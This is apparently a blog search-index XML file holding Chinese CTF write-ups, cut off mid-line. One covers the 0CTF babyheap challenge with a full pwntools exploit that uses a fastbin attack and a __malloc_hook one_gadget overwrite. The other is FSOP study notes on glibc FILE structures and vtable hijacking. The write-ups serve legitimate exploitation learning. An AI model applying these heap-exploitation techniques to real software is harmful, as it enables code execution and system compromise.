-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.xml
More file actions
3472 lines (3207 loc) · 806 KB
/
search.xml
File metadata and controls
3472 lines (3207 loc) · 806 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>0ctfbabyheap</title>
<url>/2020/01/29/0ctfbabyheap/</url>
<content><![CDATA[<h1 id="0ctfbabyheap"><a href="#0ctfbabyheap" class="headerlink" title="0ctfbabyheap"></a>0ctfbabyheap</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p><img src="/2020/01/29/0ctfbabyheap/1580313525795.png" alt="1580313525795"></p>
<p>程序主要分为四个功能:Allocate,Fill,Free,Dump</p>
<h3 id="Allocate:"><a href="#Allocate:" class="headerlink" title="Allocate:"></a>Allocate:</h3><p><img src="/2020/01/29/0ctfbabyheap/1580113992227.png" alt="1580113992227"></p>
<p>依次按照下标分配,最多为16个chunk,首先判断是否为using chunk,输入size后最大为0x1000,使用calloc分配空间(相较于malloc函数,calloc函数会自动将内存初始化为0)然后更新记录结构体的FLAG、size,content_ptr</p>
<h3 id="Fill:"><a href="#Fill:" class="headerlink" title="Fill:"></a>Fill:</h3><p><img src="/2020/01/29/0ctfbabyheap/1580114274572.png" alt="1580114274572"></p>
<p>输入下标后判断下标是否在范围内,然后判断对应下标的记录结构体FLAG位是否是1(using or not),然后输入size,判断size是否大于0,然后直接输入,<strong>此处并未做输入大小检查</strong></p>
<h3 id="Free:"><a href="#Free:" class="headerlink" title="Free:"></a>Free:</h3><p><img src="/2020/01/29/0ctfbabyheap/1580114435473.png" alt="1580114435473"></p>
<p>输入下标,判断是否在范围内,然后判断using or not,接着置记录结构体FLAG位为0,size为0,然后free掉content_ptr指针并置零</p>
<h3 id="Dump:"><a href="#Dump:" class="headerlink" title="Dump:"></a>Dump:</h3><p><img src="/2020/01/29/0ctfbabyheap/1580115008365.png" alt="1580115008365"></p>
<p>输入下标后判断是否在范围内,判断using or not,然后按记录的size打印内容</p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit:"></a>Exploit:</h2><p>多calloc几个chunk之后可以利用Fill的漏洞修改相邻chunk的size还有内容</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">alloc(<span class="number">0x20</span>) <span class="comment">#index 0 chunk 0</span></span><br><span class="line">alloc(<span class="number">0x20</span>) <span class="comment">#index 1 chunk 1</span></span><br><span class="line">alloc(<span class="number">0x20</span>) <span class="comment">#index 2 chunk 2</span></span><br><span class="line">alloc(<span class="number">0x20</span>) <span class="comment">#index 3 chunk 3</span></span><br><span class="line">alloc(<span class="number">0x80</span>) <span class="comment">#index 4 chunk 4 Small chunk</span></span><br><span class="line">alloc(<span class="number">0x20</span>) <span class="comment">#index 5 Avoid merging into top_chunk</span></span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">free(<span class="number">2</span>)</span><br></pre></td></tr></table></figure>
<p>此时chunk 1,2位于fastbin中,且chunk 2的fd指向chunk 1,通过Fill chunk 0,可以达到修改chunk 2 fd,使其指向chunk 4,然后通过Fill chunk 3 修改chunk 4的size,避免fastbin attack时size不同而出错</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">payload += p64(<span class="number">0x31</span>)</span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">payload += p64(<span class="number">0x31</span>)</span><br><span class="line">payload += p8(<span class="number">0xc0</span>) <span class="comment">#Low byte of chunk 4's address</span></span><br><span class="line">fill(<span class="number">0</span>, payload) <span class="comment">#This payload only edit the fd of chunk 2</span></span><br><span class="line"></span><br><span class="line">payload = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">payload += p64(<span class="number">0x31</span>) <span class="comment">#This payload edit the size of chunk 4</span></span><br><span class="line">fill(<span class="number">3</span>, payload)</span><br></pre></td></tr></table></figure>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">alloc(<span class="number">0x20</span>)<span class="comment">#index 1 chunk 2 back</span></span><br><span class="line">alloc(<span class="number">0x20</span>)<span class="comment">#index 2 chunk 4</span></span><br></pre></td></tr></table></figure>
<p>然后再通过chunk 3修改chunk 4的大小,这样在free chunk 4 之后chunk 4的fd还有bk就会指向 main_arena</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line">payload += p64(<span class="number">0x91</span>)</span><br><span class="line">fill(<span class="number">3</span>, payload) <span class="comment">#recover 0x80</span></span><br><span class="line"></span><br><span class="line">free(<span class="number">4</span>)<span class="comment">#fd & bk point to main_arena now</span></span><br></pre></td></tr></table></figure>
<p> 此时Dump chunk 2就可以获得 fd & bk的值,从而获得libc base</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">libc_base = u64(dump(<span class="number">2</span>)[:<span class="number">8</span>]) - <span class="number">0x3c4b78</span> <span class="comment">#The offset of main_arena+... in libc</span></span><br></pre></td></tr></table></figure>
<p>此时可想办法利用__malloc_hook,将one_gadget填入,当__malloc_hook不为0时即可调用</p>
<p><img src="/2020/01/29/0ctfbabyheap/1580295721778.png" alt="1580295721778"></p>
<p>由于index 2此时指向的依然是chunk 4,我们可以对free掉的chunk 4的fd做修改,再次利用fastbin attack申请到一个包含<em>\</em>malloc_hook的堆块,不过此时要缩小其大小,让chunk 4的size在fast chunk之内</p>
<p>利用fastbin attack申请一个包含<em>\</em>malloc_hook的堆块需要对应的地方有合适的size</p>
<p><img src="/2020/01/29/0ctfbabyheap/1580296367287.png" alt="1580296367287"></p>
<p>当偏移加上0xd之后,利用此处的0x7f size来构造一个chunk,所以我们要将free后在usorted bin中的chunk 4分割,calloc(0x60)然后free之后即可利用chunk 3来修改其fd</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">alloc(<span class="number">0x60</span>) <span class="comment">#0x80---->0x70</span></span><br><span class="line">free(<span class="number">4</span>) <span class="comment">#Set chunk to fastbin</span></span><br><span class="line"></span><br><span class="line">fill(<span class="number">2</span>, p64(libc_base + <span class="number">0x3c4aed</span>)) <span class="comment">#Fastbin attack target</span></span><br><span class="line">alloc(<span class="number">0x60</span>)<span class="comment">#index 4</span></span><br><span class="line">alloc(<span class="number">0x60</span>)<span class="comment">#index 6 get our target</span></span><br></pre></td></tr></table></figure>
<p>最后利用</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = <span class="string">'\x00'</span>*<span class="number">3</span></span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">2</span></span><br><span class="line">payload += p64(libc_base + <span class="number">0x4526a</span>)<span class="comment">#one_gedget</span></span><br><span class="line">fill(<span class="number">6</span>, payload)<span class="comment">#Fill __malloc_hook </span></span><br><span class="line"></span><br><span class="line">alloc(<span class="number">255</span>)<span class="comment">#just call the function</span></span><br></pre></td></tr></table></figure>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./0ctfbabyheap'</span> <span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary <span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty) <span class="comment">#process option here</span></span><br><span class="line"></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">alloc</span><span class="params">(size)</span>:</span></span><br><span class="line"> p.sendline(<span class="string">'1'</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">': '</span>, str(size))</span><br><span class="line"> p.recvuntil(<span class="string">': '</span>, timeout=<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fill</span><span class="params">(idx, data)</span>:</span></span><br><span class="line"> p.sendline(<span class="string">'2'</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">': '</span>, str(idx))</span><br><span class="line"> p.sendlineafter(<span class="string">': '</span>, str(len(data)))</span><br><span class="line"> p.sendafter(<span class="string">': '</span>, data)</span><br><span class="line"> p.recvuntil(<span class="string">': '</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span><span class="params">(idx)</span>:</span></span><br><span class="line"> p.sendline(<span class="string">'3'</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">': '</span>, str(idx))</span><br><span class="line"> p.recvuntil(<span class="string">': '</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dump</span><span class="params">(idx)</span>:</span></span><br><span class="line"> p.sendline(<span class="string">'4'</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">': '</span>, str(idx))</span><br><span class="line"> p.recvuntil(<span class="string">': \n'</span>)</span><br><span class="line"> data = p.recvline()</span><br><span class="line"> p.recvuntil(<span class="string">': '</span>)</span><br><span class="line"> <span class="keyword">return</span> data</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exploit</span><span class="params">()</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">': '</span>)</span><br><span class="line"></span><br><span class="line"> alloc(<span class="number">0x20</span>) <span class="comment">#index 0</span></span><br><span class="line"> alloc(<span class="number">0x20</span>) <span class="comment">#index 1</span></span><br><span class="line"> alloc(<span class="number">0x20</span>) <span class="comment">#index 2</span></span><br><span class="line"> alloc(<span class="number">0x20</span>) <span class="comment">#index 3</span></span><br><span class="line"> alloc(<span class="number">0x80</span>) <span class="comment">#index 4</span></span><br><span class="line"> alloc(<span class="number">0x20</span>) <span class="comment">#index 5 Avoid merging into top_chunk</span></span><br><span class="line"> free(<span class="number">1</span>)</span><br><span class="line"> free(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"> payload = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line"> payload += p64(<span class="number">0x31</span>)</span><br><span class="line"> payload += p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line"> payload += p64(<span class="number">0x31</span>)</span><br><span class="line"> payload += p8(<span class="number">0xc0</span>)</span><br><span class="line"> fill(<span class="number">0</span>, payload)</span><br><span class="line"></span><br><span class="line"> payload = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line"> payload += p64(<span class="number">0x31</span>)</span><br><span class="line"> fill(<span class="number">3</span>, payload)</span><br><span class="line"></span><br><span class="line"> alloc(<span class="number">0x20</span>)<span class="comment">#index 1</span></span><br><span class="line"> alloc(<span class="number">0x20</span>)<span class="comment">#index 2 0x80</span></span><br><span class="line"></span><br><span class="line"> payload = p64(<span class="number">0</span>)*<span class="number">5</span></span><br><span class="line"> payload += p64(<span class="number">0x91</span>)</span><br><span class="line"> fill(<span class="number">3</span>, payload)<span class="comment">#recover 0x80</span></span><br><span class="line"> </span><br><span class="line"> free(<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line"> libc_base = u64(dump(<span class="number">2</span>)[:<span class="number">8</span>]) - <span class="number">0x3c4b78</span></span><br><span class="line"> log.info(<span class="string">"libc_base: "</span> + hex(libc_base))<span class="comment">#libc successful</span></span><br><span class="line"> alloc(<span class="number">0x60</span>)<span class="comment">#0x80---->0x70</span></span><br><span class="line"> free(<span class="number">4</span>) <span class="comment">#Set to fastbin</span></span><br><span class="line"> fill(<span class="number">2</span>, p64(libc_base + <span class="number">0x3c4aed</span>)) <span class="comment">#Fastbin attack target</span></span><br><span class="line"> alloc(<span class="number">0x60</span>)<span class="comment">#index 4</span></span><br><span class="line"> alloc(<span class="number">0x60</span>)<span class="comment">#index 6</span></span><br><span class="line"> <span class="comment">#gdb.attach(p,'brva 0xdcc\nbrva 0x1022\nbrva 0x4f3\nbrva 0x1107')</span></span><br><span class="line"> payload = <span class="string">'\x00'</span>*<span class="number">3</span></span><br><span class="line"> payload += p64(<span class="number">0</span>)*<span class="number">2</span></span><br><span class="line"> payload += p64(libc_base + <span class="number">0x4526a</span>)</span><br><span class="line"> fill(<span class="number">6</span>, payload)</span><br><span class="line"> </span><br><span class="line"> alloc(<span class="number">255</span>)</span><br><span class="line"></span><br><span class="line">exploit()</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>how2heap</tag>
</tags>
</entry>
<entry>
<title>FSOP&the_end</title>
<url>/2020/02/25/FSOP-the-end/</url>
<content><![CDATA[<h1 id="FSOP学习"><a href="#FSOP学习" class="headerlink" title="FSOP学习"></a>FSOP学习</h1><p>由于刷how2heap时碰到了一题zerostorage,这个题在ubuntu14上由于存在一个<a href="https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html" target="_blank" rel="noopener">offset2lib</a>的攻击,所以在泄露libc地址之后可以get到程序的地址,但是我复现这个题是在ubuntu16下面做的,所以这个攻击方法无效XD,得另寻他路,所以我找到了raycp师傅的<a href="https://www.anquanke.com/post/id/178418" target="_blank" rel="noopener">这篇文章</a>,上面提到了FSOP这个攻击姿势,理所当然我当然要啃一啃了,顺带借助了一下<a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fsop-zh/" target="_blank" rel="noopener">CTFwiki</a>和师傅的另一篇<a href="https://ray-cp.github.io/archivers/HCTF-2018-PWN-writeup" target="_blank" rel="noopener">博客</a></p>
<h1 id="FILE"><a href="#FILE" class="headerlink" title="FILE *"></a>FILE *</h1><p>首先来看一下FILE这个结构体:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> {</span></span><br><span class="line"> <span class="keyword">int</span> _flags; <span class="comment">/* High-order word is _IO_MAGIC; rest is flags. */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _IO_file_flags _flags</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* The following pointers correspond to the C++ streambuf protocol. */</span></span><br><span class="line"> <span class="comment">/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */</span></span><br><span class="line"> <span class="keyword">char</span>* _IO_read_ptr; <span class="comment">/* Current read pointer */</span></span><br><span class="line"> <span class="keyword">char</span>* _IO_read_end; <span class="comment">/* End of get area. */</span></span><br><span class="line"> <span class="keyword">char</span>* _IO_read_base; <span class="comment">/* Start of putback+get area. */</span></span><br><span class="line"> <span class="keyword">char</span>* _IO_write_base; <span class="comment">/* Start of put area. */</span></span><br><span class="line"> <span class="keyword">char</span>* _IO_write_ptr; <span class="comment">/* Current put pointer. */</span></span><br><span class="line"> <span class="keyword">char</span>* _IO_write_end; <span class="comment">/* End of put area. */</span></span><br><span class="line"> <span class="keyword">char</span>* _IO_buf_base; <span class="comment">/* Start of reserve area. */</span></span><br><span class="line"> <span class="keyword">char</span>* _IO_buf_end; <span class="comment">/* End of reserve area. */</span></span><br><span class="line"> <span class="comment">/* The following fields are used to support backing up and undo. */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_save_base; <span class="comment">/* Pointer to start of non-current get area. */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_backup_base; <span class="comment">/* Pointer to first valid character of backup area */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_save_end; <span class="comment">/* Pointer to end of non-current get area. */</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_marker</span> *_<span class="title">markers</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> *_<span class="title">chain</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> _fileno;<span class="comment">//fd</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> 0</span></span><br><span class="line"> <span class="keyword">int</span> _blksize;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line"> <span class="keyword">int</span> _flags2;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"> _IO_off_t _old_offset; <span class="comment">/* This used to be _offset but it's too small. */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> __HAVE_COLUMN <span class="comment">/* temporary */</span></span></span><br><span class="line"> <span class="comment">/* 1+column number of pbase(); 0 is unknown. */</span></span><br><span class="line"> <span class="keyword">unsigned</span> short _cur_column;</span><br><span class="line"> <span class="keyword">signed</span> <span class="keyword">char</span> _vtable_offset;</span><br><span class="line"> <span class="keyword">char</span> _shortbuf[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* char* _save_gptr; char* _save_egptr; */</span></span><br><span class="line"></span><br><span class="line"> _IO_lock_t *_lock;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> _IO_USE_OLD_IO_FILE</span></span><br><span class="line">};</span><br></pre></td></tr></table></figure>
<h1 id="IO-FILE-plus-amp-IO-jump-t"><a href="#IO-FILE-plus-amp-IO-jump-t" class="headerlink" title="_IO_FILE_plus&_IO_jump_t"></a>_IO_FILE_plus&_IO_jump_t</h1><p>还有FILE结构体的封装和vtable,当然最最主要的就是这个指针和这个table了</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE_plus</span></span></span><br><span class="line"><span class="class">{</span></span><br><span class="line"> _IO_FILE file;</span><br><span class="line"> <span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span> *<span class="title">vtable</span>;</span></span><br><span class="line">};</span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span></span></span><br><span class="line"><span class="class">{</span></span><br><span class="line"> JUMP_FIELD(<span class="keyword">size_t</span>, __dummy);</span><br><span class="line"> JUMP_FIELD(<span class="keyword">size_t</span>, __dummy2);</span><br><span class="line"> JUMP_FIELD(_IO_finish_t, __finish);</span><br><span class="line"> JUMP_FIELD(_IO_overflow_t, __overflow);</span><br><span class="line"> JUMP_FIELD(_IO_underflow_t, __underflow);</span><br><span class="line"> JUMP_FIELD(_IO_underflow_t, __uflow);</span><br><span class="line"> JUMP_FIELD(_IO_pbackfail_t, __pbackfail);</span><br><span class="line"> <span class="comment">/* showmany */</span></span><br><span class="line"> JUMP_FIELD(_IO_xsputn_t, __xsputn);</span><br><span class="line"> JUMP_FIELD(_IO_xsgetn_t, __xsgetn);</span><br><span class="line"> JUMP_FIELD(_IO_seekoff_t, __seekoff);</span><br><span class="line"> JUMP_FIELD(_IO_seekpos_t, __seekpos);</span><br><span class="line"> JUMP_FIELD(_IO_setbuf_t, __setbuf);</span><br><span class="line"> JUMP_FIELD(_IO_sync_t, __sync);</span><br><span class="line"> JUMP_FIELD(_IO_doallocate_t, __doallocate);</span><br><span class="line"> JUMP_FIELD(_IO_read_t, __read);</span><br><span class="line"> JUMP_FIELD(_IO_write_t, __write);</span><br><span class="line"> JUMP_FIELD(_IO_seek_t, __seek);</span><br><span class="line"> JUMP_FIELD(_IO_close_t, __close);</span><br><span class="line"> JUMP_FIELD(_IO_stat_t, __stat);</span><br><span class="line"> JUMP_FIELD(_IO_showmanyc_t, __showmanyc);</span><br><span class="line"> JUMP_FIELD(_IO_imbue_t, __imbue);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> 0</span></span><br><span class="line"> get_column;</span><br><span class="line"> set_column;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">};</span><br></pre></td></tr></table></figure>
<h1 id="调用链"><a href="#调用链" class="headerlink" title="调用链"></a>调用链</h1><p>table中对应函数的调用姿势会尝试着慢慢更新的,现在菜鸡学到的有这几种:</p>
<ol>
<li><p>利用的是在程序调用 <code>exit</code> 后,会遍历 <code>_IO_list_all</code> ,调用 <code>_IO_2_1_stdout_</code> 下的 <code>vatable</code> 中 <code>_setbuf</code> 函数(wiki)</p>
</li>
<li><p>puts 在源码中实现的函数是<code>_IO_puts</code>,这个函数的操作与 fwrite 的流程大致相同,函数内部同样会调用 vtable 中的<code>_IO_sputn</code>,结果会执行_IO_new_file_xsputn,最后会调用到系统接口 write 函数。(wiki)</p>
</li>
<li><p>printf 调用栈(wiki):</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">vfprintf+11</span><br><span class="line">_IO_file_xsputn</span><br><span class="line">_IO_file_overflow</span><br><span class="line">funlockfile</span><br><span class="line">_IO_file_write</span><br><span class="line">write</span><br></pre></td></tr></table></figure>
<p>自己试出来的几种,有些不同都是得自己去看源码啊(跪),好像和上面比起来没有看到那个overflow:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">► f 0 7ffff7b042b0 write(没有setbuf,输出结尾有换行)</span><br><span class="line"> f 1 7ffff7a85bff _IO_file_write+143</span><br><span class="line"> f 2 7ffff7a87409 _IO_do_write+121</span><br><span class="line"> f 3 7ffff7a87409 _IO_do_write+121</span><br><span class="line"> f 4 7ffff7a8647d _IO_file_xsputn+669</span><br><span class="line"> f 5 7ffff7a5a92d vfprintf+1981</span><br><span class="line"> f 6 7ffff7a62899 printf+153</span><br><span class="line"> f 7 40053e main+24</span><br><span class="line"> </span><br><span class="line">► f 0 7ffff7b042b0 write()(setbuf(stdout,0),输出结尾有换行)</span><br><span class="line"> f 1 7ffff7a85bff _IO_file_write+143</span><br><span class="line"> f 2 7ffff7a8638a _IO_file_xsputn+426</span><br><span class="line"> f 3 7ffff7a8638a _IO_file_xsputn+426</span><br><span class="line"> f 4 7ffff7a5cf94 buffered_vfprintf+308</span><br><span class="line"> f 5 7ffff7a5a32d vfprintf+445</span><br><span class="line"> f 6 7ffff7a62899 printf+153</span><br><span class="line"> f 7 4005e2 main+44</span><br><span class="line"> </span><br><span class="line">► f 0 7ffff7b042b0 write(没有setbuf,输出结尾没有换行)</span><br><span class="line"> f 1 7ffff7a85bff _IO_file_write+143</span><br><span class="line"> f 2 7ffff7a87409 _IO_do_write+121</span><br><span class="line"> f 3 7ffff7a87409 _IO_do_write+121</span><br><span class="line"> f 4 7ffff7a89196 _IO_flush_all_lockp+374</span><br><span class="line"> f 5 7ffff7a8932a _IO_cleanup+26</span><br><span class="line"> f 6 7ffff7a46f9b __run_exit_handlers+139</span><br><span class="line"> f 7 7ffff7a47045</span><br><span class="line"> f 8 7ffff7a2d837 __libc_start_main+247</span><br><span class="line"> </span><br><span class="line">► f 0 7ffff7b042b0 write(setbuf(stdout,0),输出结尾没有换行)</span><br><span class="line"> f 1 7ffff7a85bff _IO_file_write+143</span><br><span class="line"> f 2 7ffff7a8638a _IO_file_xsputn+426</span><br><span class="line"> f 3 7ffff7a8638a _IO_file_xsputn+426</span><br><span class="line"> f 4 7ffff7a5cf94 buffered_vfprintf+308</span><br><span class="line"> f 5 7ffff7a5a32d vfprintf+445</span><br><span class="line"> f 6 7ffff7a62899 printf+153</span><br><span class="line"> f 7 4005e2 main+44</span><br></pre></td></tr></table></figure>
</li>
<li><p><code>exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp</code><br>控制<code>stdin</code>、<code>stdout</code>或者<code>stderr</code>中实现<code>fp->_mode <= 0</code>以及<code>fp->_IO_write_ptr > fp->_IO_write_base</code>同时修改vtable里面的<code>_IO_OVERFLOW</code>为one gadget(来自raycp师傅的博客)</p>
</li>
<li><p>程序结束时在<code>_dl_fini_</code>中调用<code>_rtld_global</code>结构体的<code>__rtld_lock_lock_recursive</code>(来自raycp师傅的博客),准确来说这个不算FILE里面的,不过还是写一下记一下比较好</p>
</li>
</ol>
<h1 id="自己的调试代码"><a href="#自己的调试代码" class="headerlink" title="自己的调试代码"></a>自己的调试代码</h1><p>调试之前写了一个有0x40个a的test.txt(用python -c写进去的,因为无论用vim还是gedit好像都会在保存时自动加一个换行符,比较搞,用<code>cat test.txt|hd</code>就可以看到结尾是不是有换行符)</p>
<p>然后用下面的代码调试了一下…调试细节先放着,这个是帮我用来探索前面几个指针是怎么用的,还有很多细节其实都不太清楚,以后玩源码的时候再来看(结果写题的时候就发现直接用gdb p一下那个符号好像更明确….我佛了,不行就加上(_IO_FILE_plus *)转换一下地址的类型,这样看来代码写的好像多余了2333333)</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stddef.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">printFILE</span><span class="params">(FILE * tmp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_flags:%#x\n"</span>,*(<span class="keyword">int</span>*)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_flags)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span 